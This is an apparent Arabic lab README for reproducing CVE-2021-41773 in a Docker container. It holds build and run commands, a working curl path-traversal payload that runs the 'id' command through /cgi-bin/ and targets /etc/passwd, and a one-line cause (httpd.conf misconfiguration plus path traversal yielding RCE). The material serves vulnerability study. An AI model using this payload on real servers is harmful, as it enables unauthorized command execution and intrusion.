cve-2021-41773

تشغيل الخادم

$ docker build -t cve-2021-41773 .
$ docker run --rm -d -p 80:80 cve-2021-41773

الاستغلال

curl --data "echo;id" 'http://localhost/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd'

السبب

خطأ في إعدادات ملف httpd.conf مع Path traversal يؤدي إلى RCE